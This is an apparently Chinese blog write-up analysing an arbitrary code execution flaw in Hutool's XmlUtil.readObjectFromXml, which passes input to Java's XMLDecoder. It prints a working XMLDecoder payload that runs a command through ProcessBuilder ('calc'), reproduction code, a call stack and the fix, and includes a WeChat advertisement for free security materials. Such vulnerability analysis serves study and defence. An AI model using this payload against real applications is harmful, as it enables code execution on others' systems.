漏洞简介
Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。
漏洞复现
我们在 maven 仓库中查找 Hutool
https://mvnrepository.com/search?q=Hutool
[img=720,173.828]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453301.png[/img]
[img=720,316.5349214943151]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453302.png[/img]
把依赖复制出来,添加到项目的 pom.xml 文件中- <dependency>
- <groupId>cn.hutool</groupId>
- <artifactId>hutool-all</artifactId>
- <version>5.8.11</version>
- </dependency>
复制代码 添加完成后刷新一下 maven 依赖
我们编写代码- import cn.hutool.core.util.XmlUtil;
- public class Test {
- public static void main(String[] args) {
- XmlUtil.readObjectFromXml("<java>\n" +
- " <object class="java.lang.ProcessBuilder">\n" +
- " <array class="java.lang.String" length="1">\n" +
- " <void index="0">\n" +
- " <string>calc</string>\n" +
- " </void>\n" +
- " </array>\n" +
- " <void method="start"></void>\n" +
- " </object>\n" +
- "</java>\n");
- }
- }
复制代码 [img=720,391.1943793911007]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453303.gif[/img]
在项目目录下创建一个 bean.xml 文件,将 xml 放在文件中,构造代码也可以触发- import cn.hutool.core.util.XmlUtil;
- import java.io.File;
-
- public class Test {
- public static void main(String[] args) {
- File file = new File("bean.xml");
- XmlUtil.readObjectFromXml(file);
- }
- }
复制代码 [img=720,391.1943793911007]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453304.gif[/img]
漏洞分析
整个漏洞分析下来相对来时是比较简单的,但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫
cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)
[img=720,83.53271778402248]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453306.png[/img]
当然这个地方也是可以通过读取文件来实现的
cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)
[img=720,113.93148450244698]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453307.png[/img]
cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)
[img=720,254.4]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453308.png[/img]
java.beans.XMLDecoder#readObject
[img=720,152.1405049396268]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453309.png[/img]
漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml 方法 就可以避免这个漏洞的产生。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
漏洞修复
在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml 方法,简单粗暴。
[img=720,30.373644033748494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453310.png[/img]
XMLDecoder.readObject
- <java>
- <object >
- <array length="1">
- <void index="0"><string>calc</string></void>
- </array>
- <void method="start"></void>
- </object>
- </java>
复制代码 object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)
array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)
void 标签,method 的值对应着 method 的参数 (start)
最后相当于执行了- new java.lang.ProcessBuilder(new String[]{"calc"}).start();
复制代码
为了方便看到整个调用联的流程,我们在触发漏洞的位置加上断点,分析其中经过了那些处理
java.lang.ProcessBuilder#start
[img=720,189.44356120826708]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453311.png[/img]
- start:1007, ProcessBuilder (java.lang)
- invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
- invoke:62, NativeMethodAccessorImpl (sun.reflect)
- invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
- invoke:498, Method (java.lang.reflect)
- invoke:71, Trampoline (sun.reflect.misc)
- invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
- invoke:62, NativeMethodAccessorImpl (sun.reflect)
- invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
- invoke:498, Method (java.lang.reflect)
- invoke:275, MethodUtil (sun.reflect.misc)
- invokeInternal:292, Statement (java.beans)
- access$000:58, Statement (java.beans)
- run:185, Statement$2 (java.beans)
- doPrivileged:-1, AccessController (java.security)
- invoke:182, Statement (java.beans)
- getValue:155, Expression (java.beans)
- getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
- getValueObject:123, NewElementHandler (com.sun.beans.decoder)
- endElement:169, ElementHandler (com.sun.beans.decoder)
- endElement:318, DocumentHandler (com.sun.beans.decoder)
- endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
- scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
- next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
- next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
- scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
- parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
- parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
- parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
- parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
- parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
- parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
- run:375, DocumentHandler$1 (com.sun.beans.decoder)
- run:372, DocumentHandler$1 (com.sun.beans.decoder)
- doPrivileged:-1, AccessController (java.security)
- doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
- parse:372, DocumentHandler (com.sun.beans.decoder)
- run:201, XMLDecoder$1 (java.beans)
- run:199, XMLDecoder$1 (java.beans)
- doPrivileged:-1, AccessController (java.security)
- parsingComplete:199, XMLDecoder (java.beans)
- readObject:250, XMLDecoder (java.beans)
- main:20, xmldecode (xml)
复制代码
比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument开始对 xml 进行解析
[img=720,239.00104058272632]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453312.png[/img]
先简单描述一下我的理解,然后再截图与之相对应,可能部分理解并不完全正确
根据 xml 文件的中的标识来识别开始还是结束 </strong>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |